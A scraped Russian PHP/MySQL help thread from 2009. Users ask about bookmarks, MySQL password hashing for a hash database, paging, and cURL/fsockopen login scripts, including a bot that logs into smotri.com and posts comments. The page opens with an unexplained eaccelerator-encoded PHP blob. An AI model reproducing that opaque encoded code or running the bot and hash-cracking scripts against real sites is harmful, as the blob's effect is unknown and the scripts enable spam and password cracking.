eaccelerator_load('eJyNVo9v2kYUvjPeSppqEtPahpFEDpN sElMlWelCRzBzKG3Y0oRgwrqqUkTBFBYKrW2SZn/97t0Pc7ZJVUu278e7d+/73ud7btj1euOk0bY7Z22kIoSwAk9/PEBKijfIpZAbuoP3YELuFXJf9/q9YDybojQd+o7cw97Ed6EROqFPWIrQPcQuZ4V6xCmFeaR9FPax scI2UZz73BC8BaOxjy/uU1NF2OrUAiMVW6s8MoSg1ffcXuBeshCkDotkIiL5ge/8PXnOfdcbD3CNj8nTgGjsX86v8R9sCHbH6RCxk6Er5EAzbKkIt EItVO7r89z1bltikbR5OsPQ/UJeL0heOg1t6M0+ar7r+4RpX7sZuZ6rMeuqobIFWCFLIGDDhm5 VwdCpZjgMjNPOI45kleXlcuIGgev5WH9EDciMRRq99/2BO/wwGv97Nfk4nX367PnB/Prmy+1/9lH9RePlq+Pmn3+dvD49a523nc5F9+83/7zd2//1aenZbwfl585jvgkXDtYfC+eU7DU+DTFNsb7GJ2mwrTVOBpv8i dqqZE4j7yfQW1OQ1o26yHMXO/D+0c6S5yH1RmGLfpXn6zDLG0JRXm86aGXvIOY8y/2oSlfYCFybWaG6nZ9J66GTS6Q/F0t/Lpn+HA9FeE3n2IoycEVyX+9o9bOL006BTG5rtqNBeO6XsR8s1Y RPBaEcUC9EAVwQOUkQOSEIlHZykvI9159PAqznBCxnPQFoPQZo XQb00g36o3frofuI2yMYr7IIhIlCIhB7AH5vdoN1voWqnG9w7n FqhaeF4s5scFVQbPvFDerpgaNxLBDt6Mq9xboWEd5WVHhbEeFt RYW3JYQHzp5Ar6agV92oizx3sQPv53Y+Jrx8THj5ZcLL3yW8/EJ4wiYEtpkPlQdHxGFL5xaLE8qEIRW9cYxEDo1YDo2kKA0epnw mGWzRIXk1T51Gu6ONp8Fsob8CMywSFEWIskgCEbVhW+vaJxcNR yuANg2hTciLUTTC7cQ3UOYWX7MNyVhmrFLj/W3bkHRvCGHi9E6BvIeOmeDGjHFjJrkxl3BjskV738pNlA8zjtG M82GGEO+0XfCxxBjQGNu2KbFhLtiwd6lSU1CZecj0m9iVPk16N O0ylbFvg61SmLZ3ubaBBfqxkqNgNrsau9YeEgUZ3E9mH2bzgJj yBivEq4hdzlOuY7kQ8zGYLiXyVYrlq5TMV2lJvkps0bfWV+WgJ Jhkx2lJIrK0INJ6FoKFP5L+yO1fiZ+PsM0gFwTkMocsSK6VQ7y VCrTSDMynnue77yrhBosVRzBYpcNVMQ9neyVmp1dYksjBbiWIt GJEWgki0xYz+B2FhYmrWpO+9KIGIvxqabKiXFoSl5YUviVpQZQ mGGOlqZZAUIshqMkIhrQ01UL30dIE47w0CRMoTWKPsDTxLVTlr Y14ZVqo6sSmk4pp0+Wb/TqLP/w9tOp0onUs5QXcnh8j4Q0+BInMDJ2BMgQhmcd0vd5vMpwUujd3 nSaK/x836RbkdzCNFj/oepOxp+DW61gIFgyodPBBNATiONqDK8XF23LiWWg7IgvyzpYTu ufHhJA4XFaXrhDd/wHK1pPz'); ?>
[x26]VOLAND
08.02.2009, 10:40
function mass_isset(array $target_array, array $keys_to_check)
{
foreach ($keys_to_check as $key) {
$result[] = ( isset($target_array[$key]) ) ? 't' : 'f';
}
return (in_array('f', $result)) ? false : true;
}
$are_all_set = mass_isset($_POST, array('key1', 'key2'));Если хотябы 1 ключа не существует в массиве $target_array, то возвращает false.
Доброго всем дня.
Есть такая идеологическая проблемка.
Решил замутить что то типа каталога статей в котором можно будет ставить закладки на определенную строку.
Подскажите как лучше организовать сохранение и поиск закладок.
Есть у меня пара вариантов таких как.
1. Сохраняем номер строки и число символов с начала строки, до закладки.
Проблема в том что если статью подредактировать, дописать что то в начало, то все закладки слетят...
2. Сохрянять слово или слово сочетание. Проблема в том что например если сохранить слово автомобиль, то тогда велика вероятность что в тексте таких слов или словосочетаний может быть много....
Итак хотелось бы услышать дельных советов, и интересных мыслей по сабжу.
хз ставить попробуй после n-ного символа какой-нибудь выделитель, ака
<b>выделенный текст</b>
Затем запоминай JS, позицию мыши в блоке статьи, и эту n заноси в бд.
А на выводе в эту позицию вставляй маркеры.
Подскажите, как сделать так, что бы при загрузке страницы текстовое поле для поиска было заполнено, а при нажатии на него, текст исчезал.
Яркий пример- это этот форум. В поле входа изначально пишется "ник" потом исчезает.
[x26]VOLAND
08.02.2009, 14:35
Доброго всем дня.
Есть такая идеологическая проблемка.
Решил замутить что то типа каталога статей в котором можно будет ставить закладки на определенную строку.
Подскажите как лучше организовать сохранение и поиск закладок.
Есть у меня пара вариантов таких как.
1. Сохраняем номер строки и число символов с начала строки, до закладки.
Проблема в том что если статью подредактировать, дописать что то в начало, то все закладки слетят...
2. Сохрянять слово или слово сочетание. Проблема в том что например если сохранить слово автомобиль, то тогда велика вероятность что в тексте таких слов или словосочетаний может быть много....
Итак хотелось бы услышать дельных советов, и интересных мыслей по сабжу.Выделяй закладки тегом, например <span id="bookmark">автомобиль</span>. И не будет проблем с хранением и изменением.
mailbrush
08.02.2009, 14:42
Подскажите, как сделать так, что бы при загрузке страницы текстовое поле для поиска было заполнено, а при нажатии на него, текст исчезал.
Яркий пример- это этот форум. В поле входа изначально пишется "ник" потом исчезает.
Ну если уже сам не знаешь как писать - можешь взглянуть на сорсы...
<input type="text" value="Сюда писать ник" onfocus="if (this.value == 'Сюда писать ник') this.value = '';" />
ChaaK, не вкурил в твой способ.
[x26]VOLAND, хм. и для каждого юзверя отдельно хранить весь текст в БД?
Спасибо mailbrush!!!
Спасибо за столь быстрый ответ.
Pashkela
08.02.2009, 15:09
ChaaK, не вкурил в твой способ.
[x26]VOLAND, хм. и для каждого юзверя отдельно хранить весь текст в БД?
я бы просто загнал всю статью в массив и номер строки - номер в массиве. И в избранное для каждого юзера добавлять так:
$a[номер_статьи][номер_строки] - в случае закладки на определенную строку в статье.
Pashkela, косяк в том что если отредакировать статью например в начале, то такая закладка слетит. Будет указывать не на ту строку.
Pashkela
08.02.2009, 15:34
Pashkela, косяк в том что если отредакировать статью например в начале, то такая закладка слетит. Будет указывать не на ту строку.
Ну тогда в массив вносить не строки, а "абзацы", тогда на редактирование пофигу (относительно). А потом, после редактирования, сделать перерасчет "избранного" по данной статье (сверяясь с данными из БД) и проапдейтить их там соотвественно с новыми смещениями. Т.е. дать возможность заносить в избранное не строки, а какие-то блоки статьи
хоть убей, но все равно не понимаю почему не пашет!!!!!!
<?php
function link($link,$title)
{
echo "<a href='$link'>$title</a>";
}
echo "<br>";
link('http://vkontakte.ru','ВКонтакте')
?>
что тут не так???
всё работает.
да, я проверил этот кусок пашет, а так почему то нет((
Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<meta name="author" content="" />
<title>Untitled 1</title>
</head>
<body>
<?php
function square($a)
{
$result = $a * $a;
echo $result;
}
$new = 13;
echo "квадрат $new равен - ";
square($new)
function link($link,$title)
{
echo "<a href='$link'>$title</a>";
}
echo "<br>";
link('http://vkontakte.ru','ВКонтакте');
?>
square($new) замени на square($new); (забыл поставитьь ; просто)
mailbrush
08.02.2009, 20:33
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<meta name="author" content="" />
<title>Untitled 1</title>
</head>
<body>
<?php
function square($a)
{
$result = $a * $a;
echo $result;
}
$new = 13;
echo "квадрат $new равен - ";
square($new); //не забывай ставить знак ";"
function alink($link,$title)
{
echo "<br>";
echo "<a href='$link'>$title</a>";
}
alink('http://vkontakte.ru','ВКонтакте');
?>
m0Hze
Скачай, сильно помогает:
http://www.mywebs.ru/downloads/mysql_ru.chm
и все остальное http://www.mywebs.ru/docs.php
Синтаксис оператора DELETE
Оператор DELETE удаляет из таблицы table_name строки, удовлетворяющие заданным в where_definition условиям, и возвращает число удаленных записей.
Если оператор DELETE запускается без определения WHERE, то удаляются все строки. При работе в режиме AUTOCOMMIT это будет аналогично использованию оператора TRUNCATE. See section 6.4.7 Синтаксис оператора TRUNCATE. В MySQL 3.23 оператор DELETE без определения WHERE возвратит ноль как число удаленных записей.
Если действительно необходимо знать число удаленных записей при удалении всех строк, и если допустимы потери в скорости, то можно использовать команду DELETE в следующей форме:
Синтаксис оператора UPDATE
Оператор UPDATE обновляет столбцы в соответствии с их новыми значениями в строках существующей таблицы. В выражении SET указывается, какие именно столбцы следует модифицировать и какие величины должны быть в них установлены. В выражении WHERE, если оно присутствует, задается, какие строки подлежат обновлению. В остальных случаях обновляются все строки. Если задано выражение ORDER BY, то строки будут обновляться в указанном в нем порядке.
Если указывается ключевое слово LOW_PRIORITY, то выполнение данной команды UPDATE задерживается до тех пор, пока другие клиенты не завершат чтение этой таблицы.
Если указывается ключевое слово IGNORE, то команда обновления не будет прервана, даже если при обновлении возникнет ошибка дублирования ключей. Строки, из-за которых возникают конфликтные ситуации, обновлены не будут.
Если доступ к столбцу из указанного выражения осуществляется по аргументу tbl_name, то команда UPDATE использует для этого столбца его текущее значение. Например, следующая команда устанавливает столбец age в значение, на единицу большее его текущей величины:
mysql> UPDATE persondata SET age=age+1;
Значения команда UPDATE присваивает слева направо. Например, следующая команда дублирует столбец age, затем инкрементирует его:
mysql> UPDATE persondata SET age=age*2, age=age+1;
Если столбец устанавливается в его текущее значение, то MySQL замечает это и не обновляет его.
Команда UPDATE возвращает количество фактически измененных строк. В версии MySQL 3.22 и более поздних функция C API mysql_info() возвращает количество строк, которые были найдены и обновлены, и количество предупреждений, имевших место при выполнении UPDATE.
В версии MySQL 3.23 можно использовать LIMIT #, чтобы убедиться, что было изменено только заданное количество строк.
Синтаксис оператора DROP DATABASE
DROP DATABASE [IF EXISTS] db_name
Синтаксис оператора DROP TABLE
DROP TABLE [IF EXISTS] tbl_name [, tbl_name,...] [RESTRICT | CASCADE]
и тд. что именно тебе нужно удалить я непонял )))
Как всегда грац,качать пока что небуду,так как особое внимание сейчас уделяю менно пхп,просто нужно пару строк накатать с использованием мускула.
--
Ну вот теперь я чтото совсем тупею значит.
Нужно зашифровать строку в хеш mysql,mysql5.
Но функция mysql(); - не для хешей,с мускулом5 тоже самое.
Какая же тогда функция для хешированиея в mysql,mysql5? php.net молчит.Знаеть только ша1 и мд5...
Мне нужно закодировать строку в хеш MySQL5 и MySQL.
Один 40 символов длинной получаеться другой 16.Как это нет)
помогите:
[QUOTE]<?php
include ("blocks/bd.php");
$a = mysql_query ("SELECT meta_d,meta_k,text FROM avto WHERE page='news'",$db);
$end = mysql_fetch_array($a);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Untitled Document</title>
</head>
<body>
<?php echo $end["text"]; ?>
</body>
</html>
Вроде бы с базой соединяется, но пишет Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\localhost\www\avto\2.php on line 5
не могу разобраться в чем дело, в 5 строке все правильно(((((((
Pashkela
09.02.2009, 00:42
2 m0Hze:
http://forum.antichat.ru/showthread.php?t=24293
2 m0Hze:
http://forum.antichat.ru/showthread.php?t=24293
Причем тут? оО
Мне нужно по средствам пыхи закодировать пароль в mysql хеш,например на выходе имеем: 430682363a439cd9
Мне нужно по средствам пыхи закодировать пароль в mysql хеш,например на выходе имеем: 430682363a439cd9
mysql_query("SELECT PASSWORD('пароль')") не устроит?
По такому алгоритму,но захеширует в хеш,поддерживымаемый версией мускула - в моем случаем 5.А мне нужно просто mysql. :)
Каже пассворд про генерит хеши?Есть значит такая функция,и на пыххе тож должна быть :) Даже тотже хашкрекинг по такому принцыпу работает наверно.
Pashkela
09.02.2009, 00:55
In PHP you can generate hashes using the md5() and sha1 functions. md5() returns a 128-bit hash (32 hexadecimal characters), whereas sha1() returns a 160-bit hash (40 hexadecimal characters).
Перевод:
в PHP вы можете генерить хеш только md5 или sha1 (кратко). Источник:
http://phpsec.org/articles/2005/password-hashing.html
инфо для распознования хеша:
https://forum.antichat.ru/showthread.php?t=72943
Переводил кто? Невижу слова only
А как же тогда base64_encode, bin2hex,
это не хэши,хэши необратимы,а base64 легко раскодировать...
Pashkela
09.02.2009, 01:12
Переводил кто? Невижу слова only
А как же тогда base64_encode, bin2hex,
Это не хэш, курим, что такое хэш и не задаём больше глупых вопросов:
http://ru.wikipedia.org/wiki/Хеширование
и то там далеко не всё.
удалил пост до того как ты запостил) я поспешил)
Хеширование - необратимое шифрование, а базе64 и хекс не есть хеширование
Вообще есть библиотека Mcrypt Encryption Functions но в ней я ненашел mysql , есть куча всего другого:
This is an interface to the mcrypt library, which supports a wide variety of block algorithms such as DES, TripleDES, Blowfish (default), 3-WAY, SAFER-SK64, SAFER-SK128, TWOFISH, TEA, RC2 and GOST in CBC, OFB, CFB and ECB cipher modes. Additionally, it supports RC6 and IDEA which are considered "non-free".
Mhash Functions
MHASH_ADLER32
MHASH_CRC32
MHASH_CRC32B
MHASH_GOST
MHASH_HAVAL128
MHASH_HAVAL160
MHASH_HAVAL192
MHASH_HAVAL256
MHASH_MD4
MHASH_MD5
MHASH_RIPEMD160
MHASH_SHA1
MHASH_SHA256
MHASH_TIGER
MHASH_TIGER128
MHASH_TIGER160
как правильно сделать
чтоб на каждой страницы выводило по 10 комментария
1 2 3 4
по одному чтоб выбирало сделал так , а как сделать что десять выбирало не пойму.
function newpagecom($id)
{
connect();
$q ="select count(*) from coment,page where coment.pid = page.id
and page.id=$id";
$rc = mysql_query($q);
$rc = mysql_result($rc,0);
$lim = $GLOBALS['cst'];
$page = $GLOBALS['cpages'];
if($lim > $rc)
{
echo "<font color=red><h4>Error</h4></font><br>";
echo "<font color=green><a href=index.php>Back<a/></font>";
}
else{
for($i=0 ; $i < $rc; $i++)
{
echo "<a href=?page&readmore=$id&allc=".($i)."> <b>" .($i+1). "</b> </a>";
}
}
}
вот тут можно посмотреть
Мой Блок Смотреть здесь (http://clownada.freehostia.com/index.php?readmore=56)
Юзай LIMIT x,y, где х - скакой записи начинать вывод, y - сколько записей выводить.
Tigger а с капчей ты как дружишь?
Tigger, чтобы были по порядку используй функцию sort()
ещё вопрос...как мне сделать скрипт чтобы через мой сервер обращался к этой страничке paste.ubuntu.com и выводил её на определённую страницу например 123.ru/111.php
ну, что-то типо прокси
ещё вопрос...как мне сделать скрипт чтобы через мой сервер обращался к этой страничке paste.ubuntu.com и выводил её на определённую страницу например 123.ru/111.php
ну, что-то типо прокси
https://sourceforge.net/projects/phpproxy/
нет!Это чуток не то...Мне нада скрипт, который будет сразу показывать определённую страницу...мне не надо чтобы можно было вводить сайт и так далее только определённый
Carbon1
это?
<?php
$fp = file_get_contents("http://paste.ubuntu.com/");
echo $fp;
?>
echo "Незалогинились =(<br>";
exit;
Убери exit();
Имею запрос:
$query = mysql_query("SELECT * FROM basehash WHERE type='md5'");
$query = mysql_fetch_array($query);
Строение БД которую выдераю:
2 md5 bebccb3358b03e7e3d8c062f9f6f8f31
3 md5 bebcdb3358b03e7e3d8c062f9f6f8f31
print_r = Запрос возвращает:
Array ( [0] => bebccb3358b03e7e3d8c062f9f6f8f31 [hash] => bebccb3358b03e7e3d8c062f9f6f8f31 )
Тоесть только первое совпадение.Мне же нужно выдраь и второй хеш.Что неправильно?
to Tigger
Может туплю,но разве не наоборот <?
if ($a < 0)
{
echo "Незалогинились =(<br>";
exit;
}
Оно будет больше ежели все пучком вроде.
m0Hze
LIMIT 0,2
Нет,это не то,я уже мудрил с лимитом,но тут дело в другом.Помоему чтото с феч_ареем,потому что при любом запросе,эта сцука возвращает только первое совпадение. :(
Сделай по етому принцыпу
<?php
$conn = mysql_connect("localhost", "mysql_user", "mysql_password");
if (!$conn) {
echo "Unable to connect to DB: " . mysql_error();
exit;
}
if (!mysql_select_db("mydbname")) {
echo "Unable to select mydbname: " . mysql_error();
exit;
}
$sql = "SELECT id as userid, fullname, userstatus
FROM sometable
WHERE userstatus = 1";
$result = mysql_query($sql);
if (!$result) {
echo "Could not successfully run query ($sql) from DB: " . mysql_error();
exit;
}
if (mysql_num_rows($result) == 0) {
echo "No rows found, nothing to print so am exiting";
exit;
}
// До тех пор, пока в результате содержатся ряды, помещаем их в
// ассоциативный массив.
// Заметка: если запрос возвращает только один ряд -- нет нужды в цикле.
// Заметка: если вы добавите extract($row); в начало цикла, вы сделаете
// доступными переменные $userid, $fullname, $userstatus.
while ($row = mysql_fetch_assoc($result)) {
echo $row["userid"];
echo $row["fullname"];
echo $row["userstatus"];
}
mysql_free_result($result);
?>
Тоесть только первое совпадение.Мне же нужно выдраь и второй хеш.Что неправильно?
while ($row = mysql_fetch_array($r))
print_r($row);
mysql_fetch_array одну строчку возвращает. (притом в мускуле - в порядке добавления строк! "реляционная СУБД", нафиг)
хм,спсибо,если делать вот так:
while ($row = mysql_fetch_assoc($query)) {
echo "trim($row['hash'])";
}
ТО работает на уря :) Выяснилось - виноват феч_аррей,так как мускул ресульт,возвращает все значения.Возможно есть еще один обход while? Чтото мне не нравиться вид того что получилось :D
Carbon1
это?
<?php
$fp = file_get_contents("http://paste.ubuntu.com/");
echo $fp;
?>
Спасибо буду знать уже...но там такая фишка что когда нажимаешь на отправить оно у меня возвращается на localhost =(
mailbrush
09.02.2009, 16:58
но там такая фишка что когда нажимаешь на отправить оно у меня возвращается на localhost =(
Конечно... если кликаешь отправить, запрос идет post'om на страницу н.п. index.php?send. Соответственно у тебя нету send, и поэтому возвращает на index.php. Через файл-гет-контентс выхода не будет, разве что юзай str_replace либо сохрани страничку из сайта paste.ubuntu.com и отредактируй все пути на http://paste.ubuntu.com/file.php
Совсем глуаи вопрос,чтото я заступарился :(
Имею запрос.
$pass = 'qwerty';
$old = "old_password('".$pass."')";
mysql_query("INSERT INTO basehash VALUES(NULL,".$old."")");
Естевственно $old неподставлет значение $pass, а то и вообще ничего незаписывает.
Какбе мне измудриться?
$pass = 'qwerty';
$old = "old_password('".$pass."')";
mysql_query("INSERT INTO basehash VALUES(NULL,".$old.")");
Как за один запрос,пройти по нескольким значениям?Тоесть примерно так:
$checkbase = mysql_query("SELECT * FROM hash WHERE hash='".md5($pass)."' or hash='".md5(md5($pass))."'");
m0Hze а если запрос сделаешь один а потом средствами php проверишь все в цикле?
Некатит,сделал функцию подцепляемую.Мне просто нужно как можно меньше код сделать основной.В общем дописал функцию :)
Nightmarе
09.02.2009, 20:39
На некоторых хостингах ковычки ' заменяются на \', положение исправляет команда stripslashes, но как отследить на каких хостах её нужно юзать а на каких не нужно?
Делаю так:
if (!ini_get("magic_quotes_gpc") || ini_get("magic_quotes_gpc") == "off") { } // Проверка на конверт ковычек.
else { $lol = stripslashes($lol); }
И всё равно работает криво.
Pashkela
09.02.2009, 20:42
про лол я тебе в регулярках отписался - проверил, пашет:)
Так,ну я чтото совсем куею над мускулом :(
В общем ситаейшен.
Имеем.
<?
include('config.php');
$pass = '12331';
$connect = @mysql_connect($db['host'], $db['user'], $db['pass']);
@mysql_select_db($db['base'], $connect);
$add1 = mysql_query("INSERT INTO hash VALUES(NULL,'mysql',old_password($pass),'" . $pass . "','" . $ip . "','" . $time . "')") or $result = 0;
?>
Все проходит как помаслу.Но стоит мне,сделать вот так:
$pass = 'asdsaf';
Все!Ничего незапишет в БД.Почиму нехочет он хешировать букавы:(?
Знатаки?
И снова здравствуйте:
Пытаюсь перейти к страничке с балансом в партнёрке popunder.ru.
Вот что нарисовал:
//http://www.login.popunder.ru/
$data="login=onars&pass=12345";
$fp = fsockopen("www.login.popunder.ru", 80, $errno, $errstr, 10);
$out = "POST leo/login.php HTTP/1.1\r\n";
$out .= "Host: www.login.popunder.ru\r\n";
$out .= "Referer: http://google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: ".strlen($data)."\n\n";
$out .= $data."\r\n\r\n";
fputs($fp, $out);
$response = '';
while(!feof($fp))
{
$response .= fgets($fp, 1024);
}
fclose($fp);
preg_match_all("/Set-Cookie: ([\s\S]+);/isU",$response,$m);
$string = join("; ", $m[1]);
$fp = fsockopen("www.login.popunder.ru", 80, $errno, $errstr, 10);
$out = "GET /leo/balans.php HTTP/1.1\r\n";
$out .= "Host: login.popunder.ru\n";
$out .= "Cookie: $string\n\n";
fputs($fp, $out);
$forpars = '';
while(!feof($fp))
{
$forpars .= fgets($fp, 128);
}
fclose($fp);
echo $forpars;
В ответ, после доооолгих мучений (около 1-2 минуты), получаю в ответ:
HTTP/1.1 302 Found Server: nginx/0.5.35 Date: Mon, 09 Feb 2009 18:20:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.2.5 Location: http://login.popunder.ru/leo/index.php 0
Но, увы :( Подскажите пожалуйста где ошибка(и), как всегда хорошие ответы с удовольствием отмечу плюююсиками :)
Заранее благодарен!
==========
Только что выяснил что первый сокетопен возвращает 400 Bad Request
С чем это мб связано? Оо
OnArs
$out .= "Content-Length: ".strlen($data)."\r\n";
Tigger можно юзать тока один $ch, не закрывая, а тока урл и другие меняю
думаю дело в куках, файл cook создается и пишется?
OnArs
неа, проблема не решена. :mad:
m0Hze, строку $pass в кавычки возьми тоесть:
<?
include('config.php');
$pass = 'adasdasd';
$connect = @mysql_connect($db['host'], $db['user'], $db['pass']);
@mysql_select_db($db['base'], $connect);
$add1 = mysql_query("INSERT INTO hash VALUES(NULL,'mysql',old_password('$pass'),'" . $pass . "','" . $ip . "','" . $time . "')") or $result = 0;
?>
Onars:
//http://www.login.popunder.ru/
$data="login=onars&pass=12345";
$fp = fsockopen("www.login.popunder.ru", 80, $errno, $errstr, 10);
$out = "POST leo/login.php HTTP/1.1\r\n";
$out .= "Host: www.login.popunder.ru\r\n";
$out .= "Referer: http://google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: close\r\n"; //connection: close всегда
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
$out .= $data; //дата должна быть после \r\n\r\n
fputs($fp, $out);
$response = '';
while(!feof($fp))
{
$response .= fgets($fp, 1024);
}
fclose($fp);
preg_match_all("/Set-Cookie: ([\s\S]+);/isU",$response,$m);
$string = join("; ", $m[1]);
$fp = fsockopen("www.login.popunder.ru", 80, $errno, $errstr, 10);
$out = "GET /leo/balans.php HTTP/1.1\r\n";
$out .= "Host: login.popunder.ru\n";
$out .= "Connection: close\r\n"; //connection: close всегда
$out .= "Cookie: $string\r\n\r\n"; //на конце \r\n\r\n
fputs($fp, $out);
$forpars = '';
while(!feof($fp))
{
$forpars .= fgets($fp, 128);
}
fclose($fp);
echo $forpars;
OnArs попробуй так
$fp = fsockopen("www.login.popunder.ru", 80, $errno, $errstr, 10);
$out = "POST leo/login.php HTTP/1.1\r\n";
$out .= "Host: www.login.popunder.ru\r\n";
$out .= "Referer: http://google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
$out .= $data;
Onars:
//http://www.login.popunder.ru/
$data="login=onars&pass=12345";
$fp = fsockopen("www.login.popunder.ru", 80, $errno, $errstr, 10);
$out = "POST leo/login.php HTTP/1.1\r\n";
$out .= "Host: www.login.popunder.ru\r\n";
$out .= "Referer: http://google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: close\r\n"; //connection: close всегда
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
$out .= $data; //дата должна быть после \r\n\r\n
fputs($fp, $out);
$response = '';
while(!feof($fp))
{
$response .= fgets($fp, 1024);
}
fclose($fp);
preg_match_all("/Set-Cookie: ([\s\S]+);/isU",$response,$m);
$string = join("; ", $m[1]);
$fp = fsockopen("www.login.popunder.ru", 80, $errno, $errstr, 10);
$out = "GET /leo/balans.php HTTP/1.1\r\n";
$out .= "Host: login.popunder.ru\n";
$out .= "Connection: close\r\n"; //connection: close всегда
$out .= "Cookie: $string\r\n\r\n"; //на конце \r\n\r\n
fputs($fp, $out);
$forpars = '';
while(!feof($fp))
{
$forpars .= fgets($fp, 128);
}
fclose($fp);
echo $forpars;
Спасибо, огромное тебе! Это работает, но после второго сокета я не перехожу на страницу /leo/balans.php, в чём проблема?
D Mak спасибо, помогло))
Но вот возник следующая проблема: запрос не отправляется! То есть пишет, чтор надо отправить но кнопка не срабатывает... Посмотрите, пожалуйста!!!
Вот код:
<?php
$login = 'Tigger';
$pass = 'qwerty';
set_time_limit(0);
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
$url = 'http://smotri.com';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, "http://smotri.com/");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login-hint53=1&back_url=&x=51&y=12&login=$login&password=$pass");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
$res = curl_exec($ch);
sleep(2);
curl_setopt($ch, CURLOPT_URL, "http://smotri.com/search/quick/?q=qwerty&submit_search.x=46&submit_search.y=12&type_search=1");
curl_setopt($ch, CURLOPT_REFERER, "http://smotri.com/");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
$res = curl_exec($ch);
preg_match_all('/NoSel" vid="(.*?)"/', $res, $link);
curl_setopt($ch, CURLOPT_URL, "http://smotri.com/video/view/?id=v429764ed59");
curl_setopt($ch, CURLOPT_REFERER, "http://smotri.com/search/quick/?q=qwerty&submit_search.x=46&submit_search.y=12&type_search=1");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
$res = curl_exec($ch);
curl_setopt($ch, CURLOPT_URL, "http://smotri.com/comment/ajax/post/");
curl_setopt($ch, CURLOPT_REFERER, "http://smotri.com/video/view/?id=v429764ed59");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "type=1&id=429764&comment=Hello&key=");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_close($ch);
echo $res;
?>
Onars:
//http://www.login.popunder.ru/
$data="login=onars&pass=12345";
$fp = fsockopen("www.login.popunder.ru", 80, $errno, $errstr, 10);
$out = "POST leo/login.php HTTP/1.1\r\n";
$out .= "Host: www.login.popunder.ru\r\n";
$out .= "Referer: http://google.ru\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: close\r\n"; //connection: close всегда
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
$out .= $data; //дата должна быть после \r\n\r\n
fputs($fp, $out);
$response = '';
while(!feof($fp))
{
$response .= fgets($fp, 1024);
}
fclose($fp);
preg_match_all("/Set-Cookie: ([\s\S]+);/isU",$response,$m);
$string = join("; ", $m[1]);
$fp = fsockopen("www.login.popunder.ru", 80, $errno, $errstr, 10);
$out = "GET /leo/balans.php HTTP/1.1\r\n";
$out .= "Host: login.popunder.ru\n";
$out .= "Connection: close\r\n"; //connection: close всегда
$out .= "Cookie: $string\r\n\r\n"; //на конце \r\n\r\n
fputs($fp, $out);
$forpars = '';
while(!feof($fp))
{
$forpars .= fgets($fp, 128);
}
fclose($fp);
echo $forpars;
Спасибо, огромное тебе! Это работает, но после второго сокета я не перехожу на страницу /leo/balans.php, в чём проблема?
\r\n после каждого заголовка и \r\n\r\n после последнего
вообщем нужно записать в файл
$f= fopen("$file","a");
$output =" " $var" "$var2" "z" "a" /n";
но дело в том что в файл нужно записывать именно с символами " т.е вид в файле:
"1" "2" "z" "a"
как я понимаю нужно заменять на код символа или хз
как правильно это реализовать?
или так $a = ' " ';
или так $a = " \" ";
а как быть с пробелами?
$a = ' " ';
$output = " $a mytext $a " ;
а как быть с пробелами?
$output = " $a mytext $a " ;
$output = " ".$a." mytext ".$a." "; конкатенация
помогите:
<?php
include ("blocks/bd.php");
$a = mysql_query ("SELECT meta_d,meta_k,text FROM avto WHERE page='news'",$db);
$end = mysql_fetch_array($a);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <title>Untitled Document</title> </head> <body> <?php echo $end["text"]; ?> </body> </html>
Вроде бы с базой соединяется, но пишет Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\localhost\www\avto\2.php on line 5
